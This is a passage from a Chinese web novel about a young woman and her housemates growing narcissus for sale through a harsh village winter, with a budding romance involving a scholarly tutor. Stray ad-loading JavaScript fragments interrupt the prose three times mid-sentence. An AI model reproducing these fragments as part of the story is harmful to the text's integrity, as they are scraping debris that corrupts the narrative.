杨恩点了点头,“姜姑娘说得有理,我这就回去问问。” 看着杨恩出了院门,袁竹向姜佑安问道:“难道你还想当他孙子的老师?” “我当不了老师,杨恩可以,我看他应该挺有耐心的,不像我。”姜佑安笑了笑,“有人代替我当老师,我可就轻松了,你不知道,阮荷可聪明了,老是问一下我答不上来的问题。” “准是你以前学习的时候偷懒了,还是有钱人家的大小姐呢,我看你以后连阮荷都比不上。”袁竹说道。 姜佑安撇了撇嘴,“哼,我书读得是不好,也用不着跟别人比。” 袁竹笑了笑,进了厨房。 “姜姑娘是有钱人家的大小姐?”程祥有些好奇地问道。 “是又怎么样?”姜佑安反问道。 程祥笑了笑,“没什么,我只是觉得姜姑娘的谈吐确实不像是寻常的花农。” “别听她胡说,她总是这么奚落我。”姜佑安向堂屋里看了一眼,小声向程祥问道:“那个戴院长真的同意让戴公子来教书?” “是真的,公子求了老爷好几次,老爷才答应,不过,估计老爷也有他的意图。”程祥压低了声音说道。 “什么意图?”姜佑安问道。 “上次姑娘走了之后,老爷找我过去,问了一些关于你和阮姑娘的问题,老爷肯定是发现了公子在姑娘面前可以正常说话,才答应了公子来给阮姑娘做老师的。”程祥说道。 姜佑安想了想,觉得有些不对劲,“你说他可以正常说话是什么意思?” “姑娘应该也发现了吧,我家公子是不能正视女人的眼睛的,站在女人身前,他就会觉得不自在,有时候连话都说不出来,但是在姑娘面前,他一切如常,老爷正是注意到这一点,才找我询问关于姑娘的事,希望能通过跟姑娘的接触,治好公子的怪病。”程祥细细解释道。 原来他真的有这样的怪毛病,不过,姜佑安还是觉得治病这事不太靠谱。“这么说来,戴公子是没有把我当女人吧?这样也能治病?” “我家公子是能意识到姑娘是女人的,能不能治病,不好说,但我感觉老爷还有其他意图。”程祥说道。 “他还有什么意图?”姜佑安问道。 “上次在书院门口,姑娘和阮姑娘都在,老爷对阮姑娘颇有好感,几次跟公子说,让公子把阮姑娘劝到戴家去,我估计,他答应这件事,也是想让公子和阮姑娘多接触,好促成两人的婚事。”程祥说道。 44. 腊梅 “婚事?!”姜佑安太过惊讶,一时没压住声音,袁竹从厨房里探头出来,“你刚才说什么?” “没什么,你忙你的。”姜佑安笑着说道。 “不要这样一惊一乍的,打扰小阮识字。”袁竹说完,继续忙去了。 姜佑安拉着程祥出了院子,“你刚才说的是认真的?” “目前来说,只是我的猜测而已,但我看老爷的态度,很有可能是这样打算的,公子一向不跟女人接触,老爷和夫人都很为这事烦忧,之前看到公子能跟你们正常说话,他不可能不做这方面的考虑。”程祥说道。 “怪不得他会那么亲切地劝小阮留在戴家,原来是想要小阮给他做儿媳妇。”姜佑安很是生气,“小阮还这么小!她才十六啊!” “听上次姑娘说的那些话,姑娘肯定是从京城来的吧,本地人十五六岁成亲的,都是常事,父母都不会反对的。”程祥说道。 “小阮的父母肯定不会反对,只要有钱,卖给谁都行,我和袁竹可不会同意。”姜佑安说道。 “老爷还没有明说,不过,你们想等到阮姑娘十八岁的话,估计老爷也会同意的。”程祥说道。 “哦,那还行。”姜佑安的火气渐渐平息。 看她的反应,程祥很好奇她对此事的态度,“姑娘也想促成这桩婚事?” “不想,我不想促成任何人的婚事,戴公子和小阮是男俊女美,倒也般配,只是,这终究还要看她自己的想法,跟我们这些外人无关。”姜佑安说道。 程祥笑了笑,“我还以为姜姑娘喜欢我们家公子,会尽力阻止这桩婚事呢。” “喜欢?”姜佑安想到自相遇以来,和戴庭芳的相处,摇了摇头,“他的样貌我颇为中意,只是那个脾气,让人不敢恭维。” “公子自有他的坚持。”程祥说道。 “是啊,他有他的坚持。”姜佑安看向远方,“我也有我的坚持,道不同,走不到一块儿去,也是没有办法。” “姑娘原先那么主动,如今是要放弃了?”程祥问道。 “不放弃,难道要听他再骂我不自重吗?天下男人何其多,我何必只在意他一人。”姜佑安说道。 程祥微微一笑,眼中流露出欣赏之意,“姑娘如此洒脱随性,真是让人羡慕。” 姜佑安也笑了起来,“你虽为小厮,却知书达理,善解人意,也是不易啊。” “在聊什么呢?这么开心。”戴庭芳的声音从身后传来。 两人回过头,脸上都带着笑意,“你怎么出来了?”姜佑安问道。 程祥迎过去,“公子要走了吗?” “没有,刚交给阮表妹天地玄黄四字,让她自己练会儿。”戴庭芳说道。 “这天地二字,我已经教过了。”姜佑安骄傲地说道。 戴庭芳微笑道:“姑娘费心了,这两个字,阮表妹写得很好。” “这也是小阮勤学苦练的功劳,我每教她一个字,她都会练习很多遍,在纸上练了,又在地上写,倘若她不是如此好学,我也不会想要留你来教她。”姜佑安说道。 戴庭芳略微颔首,“姑娘放心,我定会好好教导表妹。” “你家是开书院的,你又是个循规蹈矩的人,由你来教,我没什么不放心的。”姜佑安看向程祥,“听你刚才说的话,你好像对京城的事很了解,你是从京城来的?” 程祥摇了摇头,“我是本地人,曾随公子一同进京赶考,所以略有耳闻。” “你们刚才在聊什么?”戴庭芳问道。 “没什么,上次在书院门口,你说京城里的书院也只招收男人,刚才想起来,才有此问。”姜佑安说道。 “姑娘是不相信我的话?”戴庭芳说道。 “相信,你们都这么说,我还能不信?我就是觉得可惜,明明有不收费的学院,小阮却因为是女孩子,就不能入学读书。”姜佑安感叹道。 戴庭芳听了沉默不语。 见气氛沉闷起来,姜佑安转移了话题,“对了,你进京赶考成绩怎么样?位列多少名?” “殿试第三名,我家公子可是皇上钦点的探花。”程祥骄傲地说道。 姜佑安哈哈一笑,“皇上在这方面还算是有眼光,戴公子的长相,确实担得起探花之名。” 戴庭芳却皱起了眉头,“程祥,谁让你说这些了。” 程祥低下头,小声嘟囔道:“姜姑娘问我,我才说的啊。” “探花郎是皇上钦点的才色双绝,有什么不能拿出来说的?不过,戴公子是去年的探花郎吗?”姜佑安问道。 程祥没说话,只是点了点头。 姜佑安想起去年确实有位探花郎风光一时,她还起过去结交的念头,后来得知他已有婚约,才放弃的,“不对啊,我听说去年的探花郎已经和太师之女定了亲,你不在京城待着,怎么会在这里?” 戴庭芳的脸色愈加难看起来,“婚事取消了。” “取消了?为什么取消?”姜佑安好奇地问道。 “都是往事了,我不想再提起,我现在只是一介布衣,跟京城也好,官场也好,都再没有联系了。”戴庭芳说道。 姜佑安看向程祥,程祥低着头不说话。 姜佑安笑了笑,“不想提就不提,我也是从京城过来的,京城的事,我也不想再提起,咱们还算得上是同病相怜呢。” 戴庭芳没说什么,转身回了院子里,程祥忙跟着一起进去了。 姜佑安在大门外看了一会儿远处的山,觉得风刮在身上凉飕飕的,也转身往院子里去了。 戴庭芳教书尽职尽责,阮荷每每有提问,他都尽量解答,答不出的,就回去问书院里的老师,第二天再跟阮荷详细解释,阮荷对此非常满意,认下了他这个老师。 起初,戴庭芳每天清晨来傍晚走,中午留在袁家吃一顿午饭,后来他又觉得和程祥两个人留下吃饭,会给袁家增加负担,于是早上来,中午便回去了。 袁竹敷衍地挽留了他几句,就由他去了,因为给阮荷买笔墨纸砚花费了她近一两银子,剩下的钱能不能撑到春天,袁竹心里也没有底,能省一点儿是一点儿。 姜佑安对此颇有怨言,有时从山上回来得晚了,就根本见不到戴庭芳的面了,想跟程祥说说话也没有机会,她总是跟袁竹抱怨,在这山野之中,能看到美貌的男人是多么难得啊,就不能留 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他在家吃饭,让自己多看一会儿吗? 袁竹才不管这些,戴庭芳本就是来教书的,又不是来和她见面的,何况她知道姜佑安和戴庭芳的关系也没有那么好,能不能见面,说不说得上话,袁竹一点儿都不在意,姜佑安一提起美貌男人,袁竹就让她去找杨恩去。 姜佑安说不过袁竹,只好尽量早点儿回来,守在堂屋门口,看戴庭芳教书,每到这时,袁竹和程祥就会把她叫走,戴庭芳听见姜佑安回来了,也就收拾收拾东西,叫上程祥回家去了。 有时戴庭芳也会在院子里看看水仙花再走,姜佑安就凑上去跟他说说话,两个人聊一聊水仙花养殖还有最近的天气,戴庭芳就带着程祥离开了。 姜佑安不再抱怨,能时常看见戴庭芳,饱一饱眼福,她就觉得满足了。 阮荷每日醉心于识字读书,除了做饭,其他时间不是在写字,就是在读书,写字的纸积攒了厚厚一沓,连李长风都被她带动,不练功的时候,也跟着她一起写写字。 听着屋里传来朗朗的读书声,袁竹很是欣慰,给水仙花换水施肥的时候,都格外有劲头,她高兴地跟姜佑安说,等卖了水仙花,要继续给阮荷买纸买书。 姜佑安见了,也劝袁竹跟着一起识字,以后肯定会有用处,袁竹摇了摇头,她觉得读书是很好,但不读书也没什么,而且,这是个费钱的事,让阮荷和李长风学就好了。 眼看到了十二月,天越来越冷了,院子里的水仙花长得郁郁葱葱,碧绿一片,看着煞是喜人。 袁竹劈了木柴,点了火盆,放在阮荷和戴庭芳的身边,她坐在不远处做针线活,程祥也搬了椅子在一旁读书,房间里很安静,只听见木头燃烧的哔剥声还有毛笔划过纸张的声音。 姜佑安和李长风带着一股寒气推门进来,清冷的空气中混杂着一丝幽香,戴庭芳抬头看过去,姜佑安已经走到了他的近旁,一枝蜡梅送到了他的眼前。 “戴公子,这个送给你。”姜佑安笑着说道。 浓郁的香味充斥着他的鼻腔,戴庭芳愣了一下,才伸手接过花枝,“多谢。” “不客气。”姜佑安笑了笑,转身去找袁竹要花瓶,戴庭芳这才看见她身后的李长风怀里也抱着蜡梅。 袁竹接过李长风手里的蜡梅,让两人赶紧到火盆边烤烤火,暖和暖和。 姜佑安和李长风蹲在地上,把双手伸向火盆,烘烤着快要冻僵的双手。 “好香。”戴庭芳手拿着蜡梅,轻声说道。 “是吧。”姜佑安抬头看着他,脸上是温暖的笑意,“我本来不认识蜡梅书,闻到这股香味,才发现的。” 袁竹把花枝插瓶,又去厨房倒了两碗热水,程祥帮忙一起端去了堂屋,送给姜佑安和李长风。 姜佑安喝了一口,觉得身子渐渐热了起来,“袁竹,明天我们去折了花枝去县里卖吧。” “行啊,我想着也快到蜡梅开的季节了。”袁竹说道。 “也卖我几枝吧。”戴庭芳说道。 “你还跟我们说什么卖不卖的,你想要几枝,带走就是了。”姜佑安喝完了水,程祥顺手接了过去,奇怪地问道:“公子平日都不插花的,怎么今日想买花?” 45. 寒冬 “蜡梅这么香,我想拿回去送给母亲。”戴庭芳说道。 袁竹把花瓶放在了条几上,“戴公子喜欢,一会儿走的时候,把这些都拿走就是了。” 戴庭芳低头看着手上的书,“姜姑娘辛苦采回来的,我怎么能都拿去。” “拿去吧,我们明天再去采就是了,你这些日子这么照顾小阮,按说小阮也该去谢谢令尊令堂的,只是苦于没什么拿得出手的东西,令堂既然喜欢蜡梅,你就代小阮送给她吧。”姜佑安说道。 戴庭芳看了看姜佑安,点头答应了。 戴庭芳再来到袁家时,是坐着马车来的,程祥从马车上拿下来一个炭盆、一个铁壶还有半麻袋的碳,戴庭芳手捧着一套茶具下了马车,进了袁家的院门。 家里只有阮荷和李长风在,戴庭芳把茶具和茶叶放在了条几上,程祥关上了大门,点起了炭盆,又把铁壶装上水,放在了炭火之上。 戴庭芳翻开书教阮荷识字,程祥和李长风围在炭盆边旁听,等着姜佑安和袁竹回家来。 待两人回家来,程祥把炭火上的水壶拎起来,在条几上泡起茶来。 姜佑安凑过去,笑着问道:“你们这是做什么?在我们家摆起茶摊了吗?” 程祥把茶杯递给姜佑安,“我家夫人收了蜡梅,很是欢喜,这茶具和茶叶,是夫人给阮姑娘的回礼。” 姜佑安把茶杯放在了阮荷手边,对阮荷说道:“听到没,说是给你的回礼呢。” 阮荷放下笔,两手拢着茶杯,向戴庭芳笑着说道:“多谢婶婶和表哥。” 程祥又倒了两杯茶,送到姜佑安和袁竹手上,“今天生意怎么样?” 姜佑安没喝,递给了李长风。 袁竹喝了一口茶,“生意挺好,县里还没看见有卖蜡梅的,我们是独一份儿。” 程祥又给戴庭芳和姜佑安分别倒了一杯茶,“外面风凉,姑娘喝点儿热茶,驱驱寒气。” 姜佑安捧着茶杯暖手,称赞道:“你这么贴心,戴公子有你做小厮,真是他的福气。” “姑娘抬举我了,这炭盆和铁壶都是公子要我准备的。”程祥笑着说道。 “袁家贫寒,让戴公子受苦了。”姜佑安看着戴庭芳,嗅闻着茶香,喝了一口热茶,“这茶真不错,程祥,你也尝尝。” 喝了会儿茶,袁竹觉得大家在这里太打扰戴庭芳教书,就点了火盆,把大家叫去了厨房,在厨房里围着火盆坐,聊着今天在县里卖花的见闻。 戴庭芳听着厨房里传来的微弱声音,感到有些困扰,明明日日相处,大家都算是熟悉的人了,怎么自己一句话都插不进去,看来该让程祥注意一下,以后不能再让他代替自己发言了。 要不就让程祥来监督阮荷写字,自己去厨房里跟她们聊天,想到这,戴庭芳拍了拍自己的脑门,想什么呢?真是荒唐! 阮荷看着戴庭芳突然打自己的脑袋,感到很奇怪,“表哥,你怎么了?” 戴庭芳笑了笑,“没事,你继续写吧。” “嗯。”阮荷点点头,低下头继续写字。 戴庭芳也低下头继续看书,这时他才后知后觉地想到,刚才那句话,他是看着阮荷的眼睛说的,他不能跟女人说话的毛病,难道已经好了? 戴庭芳抬起头看着阮荷,“阮表妹。” 阮荷握着笔抬起头来,“嗯?” “先不用写了,目前为止我们学的千字文的内容,你背给我听一下。”戴庭芳看着阮荷说道。 “好。”阮荷放下笔,开始背诵。 中午袁竹留戴庭芳在家里吃午饭,他还是坚持要回去,袁竹也没有强留,大家看着他上了马车,程祥驾着马车往县里去了。 第二天马车又到了袁家门口,下来的却只有程祥自己,程祥说戴庭芳病了,要修养一阵子,等病好了再来,袁竹说天冷不宜出门,家里有姜佑安,让他不必记挂着这里,好好养病要紧,等天暖和了再来。 送走了程祥,姜佑安深感遗憾,看来要等到明年春天才能再见到戴庭芳了。 袁竹没空管姜佑安的遗憾,她只为水仙花感到忧心。 天气越来越冷,每天太阳下山,大家就会把水仙挪到屋里,等太阳出来再挪出去晒太阳,水仙的叶子长得都很茁壮,只是,还没有一个花蕾,也不知道还能不能赶得上春节。 姜佑安安慰她说没事,等中旬还没花蕾再想办法。 山里的蜡梅不多,没卖几天,姜佑安就继续打猎去了,上午上山,下午教阮荷和李长风千字文,袁竹守在火盆边,做一些针线活。 时间一天天过去,很快就到了十二月中旬,精心伺候的水仙花还是没有抽出一个花剪,袁竹担心会错过春节,和姜佑安商量怎么能让水仙按照预定的日期开花。 姜佑安拿出了在花行记录的水仙花养殖要注意的事项,里面提到天气过冷会导致水仙开花晚,可以用干草覆盖在水仙根部,把水仙挪到室内,使用火盆提高温度。 “火盆要一直点着?”袁竹问道。 “应该是吧,时冷时热也是不行的。”姜佑安说道。 “那就把水仙都挪到堂屋里去吧,把火盆点上。”袁竹说道。 “可是只保持温度也不行,还要晒太阳,白天还是得放院子里。”姜佑安说道。 袁竹进了屋,阮荷正在桌子上写字,兔子在她脚边蹲着,近旁放着火盆,火盆里木柴正在燃烧,看姜佑安和李长风也进来了,袁竹关上了门,在屋里走来走去。 “晚上要保持温度好像也不容易,这屋里只有火盆旁边才比较暖和,水仙花离得稍微远点儿,就感觉不到热了。”袁竹说道。 姜佑安也走过去,比较了火盆近旁和远处的温度差异,“那就把炭盆也点上吧。” “火盆和炭盆一起点,木柴怕是不太够,还得上山再砍一些。”袁竹说道。 “要不放到厨房去?厨房小一些,点了火盆很快就能暖和起来。”李长风说道。 袁竹摇了摇头,“厨房里柴火多,半夜万一着起来,都不容易发现,太危险了。” “在院子里搭个小棚子呢,有一年冬天特别冷,我爹娘就在院子里给鸡搭了棚子。”阮荷说道。 “搭棚子倒是不错,不过,我们没有木料。”袁竹说道。 “咱们去找陈爷爷吧,看看他那里有什么能用的。”姜佑安提议道。 留阮荷和李长风在家,姜佑安和袁竹去了陈大用那里商量了一番,觉得在院子里搭木棚点火盆还是有些危险,最终决定在堂屋里搭个小棚子,留人在旁边看守,这样一旦有什么意外,可以及时发现。 杨恩和姜佑安抬着木料,陈大用拿着锯子和袁竹一起去了袁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 家,几个人忙活了一上午,把棚子的框架搭了出来。 陈大用见袁家没什么料子能用,下午又拿了些毡布和厚麻布来,袁竹和阮荷把这些料子缝绑在木头框架上,还留了能进出的门帘。 棚子完工后,袁竹要给陈大用钱,陈大用不肯收,说等卖用过之后,把这些毡布麻布还有木头都还给他就行,袁竹不肯,定要给钱,还要陈大用帮忙再做两个木箱子,可以挡风遮雨的,到时候去卖水仙的时候用。 陈大用推辞不过,收了钱,和杨恩一起回家去了。 姜佑安把火盆挪到木棚里去,不多会儿,里面就暖和起来了。 “这棚子真不错,封得再紧实一点儿,我都想住在这里面了。”姜佑安说道。 “里面要点火烧炭的,可不能封得紧实了,人在里面会头晕恶心,甚至昏迷的。”李长风说道。 姜佑安笑了,“长风还懂这些,真厉害。” 李长风害羞地笑了笑,“我也是听说的。” 袁竹端着两盆水仙走进屋里来,“外面下雪了,快把水仙都搬进来。” 姜佑安、阮荷和李长风听了,赶忙去院子里搬花,把水仙花都挪到棚子里之后,袁竹点燃了炭盆,也放进了盆子里。 忙活完了,阮荷抱着兔子在门边看雪,姜佑安和袁竹走了过去,看着雪落到地上,化成点点水渍,袁竹心生忧虑,“咱们这个地方还是冷了些,应该是不太适合种水仙的,天气这么冷,也不知道什么时候才能开花。” “也许是不太适合,但程祥也说了,戴家年年都是养水仙的,这就说明咱们这个地方也可以养好水仙,只是咱们没养过,没有经验罢了,但好在花都还活着,总会有开的那一天。”姜佑安倚着门框说道。 “要是赶不上春节怎么办?”袁竹说道。 “咱们能做的都做了,赶不上也没办法,就是便宜些卖,也总不至于亏本。”姜佑安说道。 袁竹叹了口气,“快点开花才好,要不,咱们这个年,就不好过了。” “怎么不好过?”姜佑安问道。 “可能买不起肉给你们过年了。”袁竹说道。 “没钱了?”姜佑安知道为了给阮荷买文房四宝,动用了过冬的钱,“刚才那半吊钱先别给陈爷爷好了,他肯定不会说什么的。” “木匠家也不宽裕,他帮了我们这么多,我怎么好意思欠着他的钱,再说,我看他孙子在屋里写字,也用了不少纸,他肯定也是需要用钱的。”袁竹说道。 “明天我还是去打猎吧,下过了雪,说不定可以再打到一头鹿,我们就有肉吃了。”姜佑安说道。 “我也去。”李长风说道。 “袁姐姐,要是唱大戏的来了,我们还有粮食给他们吗?”阮荷问道。 “水仙不知道什么时候开,粮食还是先留着自己吃吧。”袁竹说道。 “嗯。”阮荷点了点头,抚摸着兔子的脑袋,看向院子里飘落的雪花。 雪一直下个不停,晚上袁竹给炭盆里添了碳,盖好门帘,就去睡了,一早起床去查看水仙花时,她慌忙向里屋喊道:“姜佑安!你快过来看看,这水仙花是不是死了?” “怎么了?”姜佑安裹着棉衣,拖着棉鞋,慌慌忙忙跑了过去。 袁竹把门帘撩得大开,“你看,水仙花的叶子黄了!” 46. 雪后 姜佑安向棚子里看去,只见炭盆已经熄灭,炭盆周边的三棵水仙花的叶子都变黄了,她蹲下身子摸了摸叶子,叶子还算水润,她又看了看下面的盘子,里面一点儿水都没有了。 “怎么了?”阮荷和李长风也走了出来。 “可能是昨天火烧得太旺,炭盆附近太热,烤着了,挪远点儿,应该就没事了。”姜佑安说道。 袁竹一脸惋惜,“都怪我,昨天碳添得太多了。” 姜佑安站起身来,安慰道:“这不能怪你,我们也不知道添多少碳合适,昨晚就当是尝试一下了,把那几棵挪远点儿,说不定还能缓过来。” 袁竹摇了摇头,“这样不行,碳添得多了,会把花水仙烤死,添的少了,我又担心碳很快烧尽,会让花受冻,晚上我在这里守着吧。” “在这里守着,姐姐你怎么睡啊?”阮荷担心地问道。 “对啊,袁姐姐,还是我来守着吧。”李长风说道。 “还是我来吧,把这屋里的桌子搬到西屋去,把我的床搬到这棚子旁边。”姜佑安说道。 “你们不用争了,还是我守着吧,我本来就睡得浅,常起来看看就是了。”袁竹说道。 “把我那个床搬出来,我们轮流守着也行。”姜佑安说道。 袁竹笑了笑,“你睡得那么沉,恐怕房子着火你都不会醒,还是我来吧,你们守着,我不放心。” “行啊,由着你吧。”姜佑安去打开了堂屋门,外面一片晶莹剔透,亮眼得很,她裹紧了棉衣,“昨天的雪下得真不小。” 阮荷和李长风也走过去看看,“好厚的雪,我们等会儿堆雪人吧。”姜佑安提议道。 阮荷穿好了鞋,向厨房走去,平整的雪地上留下一串脚印,“你们堆吧,我先去做饭。” 姜佑安抬头看了看正在滴水的屋檐,“雪开始化了,算了,我还是赶紧上山吧。” 袁竹从厨房里拿出几根树枝来,去给点炭盆,姜佑安和李长风带着干粮出了院门。 大地披上洁白的雪衣,掩盖了一切污秽,只剩一片纯白,一眼看过去,动人心魄。 姜佑安走在路上,不住地往远处看,连绵的高山纯净无暇,显得村庄也好,人也好,都如此卑微渺小。 近处的麦田完全被白雪覆盖,路边枯草枝上都落着雪,像是白玉雕的珊瑚。 太阳出来了,照得世间亮堂堂的,姜佑安却无心再去多看,路上的雪正在融化,土路变得湿滑泥泞,来到山脚下时,两人的鞋底已经粘了厚厚的泥,走在山里,更是步履维艰。 还没到中午,姜佑安就带着李长风狼狈地回了家。 袁竹从堂屋里迎出来,看着一身泥的姜佑安,奇怪地问道:“你跟谁打架了?” 姜佑安直直往屋里走,“打什么架啊!是摔的,雪化了,到处都是泥巴,根本没法走路!” 袁竹拦住了两人,“去墙边把鞋上的泥刮干净再进去,别踩得满屋都是泥。” 姜佑安依言去墙边刮鞋,屋檐上融化的雪水滴进她的脖子里,湿湿的,凉凉的,让她更生气了。 “烦死了!今天就不该出门!”姜佑安恶狠狠地说。 李长风小心翼翼地看着她,“姜姐姐,你没事吧。” “好了,不就是摔了一跤嘛,消消气,去火盆边烤烤火吧。”袁竹说道。 姜佑安进了屋,解下弓箭,生气地坐在火盆边的小凳上,“只是摔一跤,我也不会这么生气,这全都是泥巴路!根本就不能走!山里也是!还没看见鹿,我就先摔死了!” “这有什么可生气的,别说是这里的路了,就是县里的路,也大多是泥巴路,下雨下雪都是这样,只能自己小心点儿。”袁竹说道。 “踩在草上走就好了。”阮荷把一杯茶递给姜佑安,小声说道。 “郭英也这么跟我说,可我都已经摔了好几跟头了。”姜佑安看着自己满是泥污的手,去洗了洗手,才接过茶杯,“哈,真暖和。” “你碰到郭英了?”袁竹问道。 “嗯。”姜佑安在火盆边坐下,“她说要去走亲戚,我跟她说我们种了水仙花,让她有空过来看看。” “又没开花,长得跟蒜苗一样,有什么可看的,你可别让她来。”袁竹说道。 姜佑安喝了一口茶,“你就这么讨厌她啊?” “她那样的人,咱们还是躲远点儿的好。”袁竹说道。 姜佑安没再接话,站起身来,看着身上的沾的泥巴,“这可怎么办?棉衣就这一件,洗了我就没得穿了。” “谁让你单穿棉衣就出门,让你多穿个外衣你都不听。”袁竹说道。 “外衣穿着碍事,现在都弄脏了,你跟我说这个还有什么用?”姜佑安没好气地说道。 “佑安姐姐,你把衣服脱了去床上躺着吧,我去给你洗。”阮荷说道。 “躺我那床上吧,下午还得把你那床搬出来,晚上你就跟小阮睡。”袁竹说道。 “好。”姜佑安去了屋里脱衣服,阮荷把脏衣服拿出来,问李长风的衣服要不要洗。 李长风身上的污泥不多,他个子矮,行动也灵活,摔倒的时候只用手一撑,就站了起来,此刻已经洗干净手,自己倒了茶在火盆边坐着喝,“我就不用了。” 袁竹笑了笑,“还是长风厉害。” “偏心眼儿!”屋里传来姜佑安的抱怨声。 阮荷拿了衣服放进盆里,去厨房打水,袁竹过去从靠近烟囱位置的小锅里舀了热水,两人一起把衣服表面的泥水洗干净拧干,晾在了院子里。 姜佑安在床上躺了一下午,袁竹和李长风把她的木板床挪去了堂屋里,袁竹一直小心关注着棚子里的温度,避免再烤着水仙。 第二天早上再打开帘子看时,昨天黄叶子的水仙已经彻底死了,好在其他的水仙状态还都不错,依旧是郁郁葱葱的。 袁竹把枯死的水仙花清理出来,阮荷走了过来,说姜佑安好像生病了,袁竹放下撮箕,去了西屋里,姜佑安难受得直哼哼,袁竹摸了摸姜佑安的额头,果然是滚烫的。 袁竹忙去村里把大夫请来,又随大夫回家抓了药,回来给姜佑安煎上。 火盆上煎着药,屋里弥漫着草药的苦味,袁竹心烦意乱,“早知道就不让她上山了,如今鹿没打到,她倒生了病。” “佑安姐姐肯定会没事的。”阮荷说道。 “会没事的,郎中说了,喝了药就会好的。”袁竹叹了口气,压低了声音,“本来钱就不多了,这又看病又抓药的。” 阮荷向屋里看了一眼,小声说道:“袁姐姐,以后我可以少吃点儿,让佑安姐姐多吃点儿。” “我也可以让给姜姐姐吃。”李长风也轻声说道。 “还没到需要你们缩减口粮的时候。”袁竹无奈地笑了笑,转头看着水仙花的棚子,忍不住又叹了口气,“水仙花快点开吧,我们可就都指望你了。” 姜佑安在床上躺了三天之后,终于痊愈了,她起床下地,来到堂屋,掀开了水仙花棚子的门帘,看见又不少花已经抽出了花箭。 一旁的袁竹从床上坐了起来,揉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着惺忪的睡眼,“你醒了?今天感觉怎么样?” 姜佑安蹲在地上,回头看着床上的袁竹,开心地笑起来,“我没事,水仙花,快开了。” 袁竹也笑起来,“是啊,终于要开了,再不开,怎么就得喝西北风了。” 李长风从东屋里走出来,“姜姐姐,你好了?” 姜佑安站起身,活动活动胳膊和双腿,笑着说道:“好了,一点儿都不难受了。” “太好了。”阮荷从西屋里走出来,高兴地问道:“佑安姐姐想吃什么?我去给你做。” “你做什么我吃什么,不用特别照顾我了。”姜佑安说道。 “嗯。”阮荷应了一声,打开堂屋门,往厨房去了。 “我这几天吃的鸡蛋,是从王大娘那里买的?”姜佑安问道。 “不是,自从你们打了她儿子,她就恨不得要把我生吞活剥了,我怎么可能去她家。”袁竹下了床,整理着床铺,“是村里的张大姐,我们吃的粮食,也是在她家买的。” 提到粮食,姜佑安又问道:“唱大戏的来要粮食了吗?” “没有,可能是知道我们没有粮食,也可能是今天不来唱戏了。”袁竹说道。 “咱们没有粮食了?”姜佑安很是吃惊。 袁竹整理好了床铺,去看了看水仙花,又去打水洗漱,“不多了,也就能撑几天了。” 想到粮食都不够吃了,袁竹还专门为自己买了鸡蛋,姜佑安满心愧疚,“那还有钱吗?咱们是不是要饿肚子了?” “没钱了,饿个一顿两顿的,死不了人,好在水仙花快开了,只要花一开,咱们就有救了。”袁竹的语气轻快,好像丝毫不为此事烦心。 “我还是上山打猎去吧。”姜佑安说道。 “你病刚好,就别折腾了,过两天城隍庙开庙会的日子了,咱们只等着水仙花开就好了。”袁竹说道。 “庙会?今天是什么日子?”姜佑安问道。 袁竹洗了脸,擦了手,把手巾搭在了脸盆架上,“腊月二十一。” 姜佑安听闻,皱起了眉头,“二十一了?这不是马上要过年了吗?水仙花开得这么慢,不能多加点碳,让它开快点吗?” “你说得容易,之前死的那三棵,你都忘了?三百文钱,就那么没了。”袁竹把铁壶拿去厨房灌了水,把炭盆挪了出来,添了几块木柴,然后把铁壶放在了炭盆上,“再说现在也没有碳了,用的都是木柴,怕火烧得太旺,一点儿我都不敢多添。” 姜佑安急得在屋里来回踱步,“这可怎么办,钱都花完了,花还没开。” 袁竹在椅子上坐下,轻声道:“别着急,急也没有用,耐心等着吧。” 姜佑安内心焦躁难安,不时去掀开帘子,看看里面的水仙花。 袁竹说这两天天气不错,可以把花但出去晒太阳,姜佑安一整天都跟着袁竹忙前忙后,换水,搬进搬出,点火添柴,悉心地照料着水仙花。 两天后,庙会开了,天刚蒙蒙亮,袁家旁边的大路上就热闹起来,都是带着一家老小去县里办年货、逛庙会的。 到了下午,人们又陆续赶回家,听到外面的动静,在院子里盯着水仙花的姜佑安慢慢觉得绝望起来。 水仙花还没开,粮食没了,钱也没了,早上只喝了一碗稀粥,肚子好饿,去陈大用家借粮食的袁竹怎么还不回来?难道自己要这样饿死在家里? 姜佑安向门口走去,想去看看袁竹回来了没,正遇到郭英朝她走来,笑着跟她打招呼,“姜佑安,怎么没去逛庙会?” 47. 庙会 “我们这种穷人,逛什么庙会啊。”姜佑安别扭地说道。 郭英笑了笑,“穷人也能逛啊,只逛不买嘛。” “那多没劲,我要去逛,就要大买特买!”姜佑安看见郭英手上拎着一块猪肉,羡慕地问道,“你刚从庙会回来?” “是啊,我娘先回去了,我特意绕到这里来看看你。”郭英说道。 “来看我?”姜佑安问道。 “你不是说养了水仙花吗?”郭英问道。 提到水仙花,姜佑安更难过了,“让你失望了,水仙花还没开,看起来跟蒜苗没什么两样。” “看来是赶不上庙会了,怪不得你这么垂头丧气的。”郭英把手上的肉递给姜佑安,“今天是小年,这个给你,晚上做了吃吧。” 姜佑安喜出望外,“这是给我的?” “拿着吧。”郭英把肉上栓的绳子塞到她手里,笑着说道:“我回家去了,下次再来看花。” “你等等。”姜佑安拿着肉匆匆回了屋里,再出来时,手上捧着一个手掌大的黑色盘子,里面一颗水仙已经生出了花蕾,“这个送给你,虽然现在没开,但说不定过年的时候就开了。” 郭英感到些许为难,“这,我没有养过花,别浪费了。” “这个不难,它已经有了花骨朵,你把它放到屋里窗边,能晒到太阳,又不至于太冷,每两到三天换一次水就行,肯定能开花。”姜佑安热心地说道。 “好,那我就收下了,多谢。”郭英捧着水仙向姜佑安道了别。 袁竹拿着半袋子米回来时,姜佑安正在跟阮荷和李长风商量要怎么做那块肉,抬头看见袁竹一手拎米,一手端着一盘子鸡肉走了进来,三人忙迎了上去。 阮荷闻到了油炸鸡肉的味道,“好香啊。” 李长风把米袋子接了过去,“这是陈爷爷给的吗?” 姜佑安看到鸡肉,两眼放光,急切地问道:“能吃吗?现在能吃吗?” 袁竹笑着把鸡肉放在桌上,“刚炸的,这一路拿过来可能凉了,不怕坏肚子就吃吧。” 三人迫不及待地抓起鸡肉塞进嘴里,鸡肉表面是有些凉了,但里面还是热的。 “嗯,真好吃!”姜佑安热烈夸赞道。 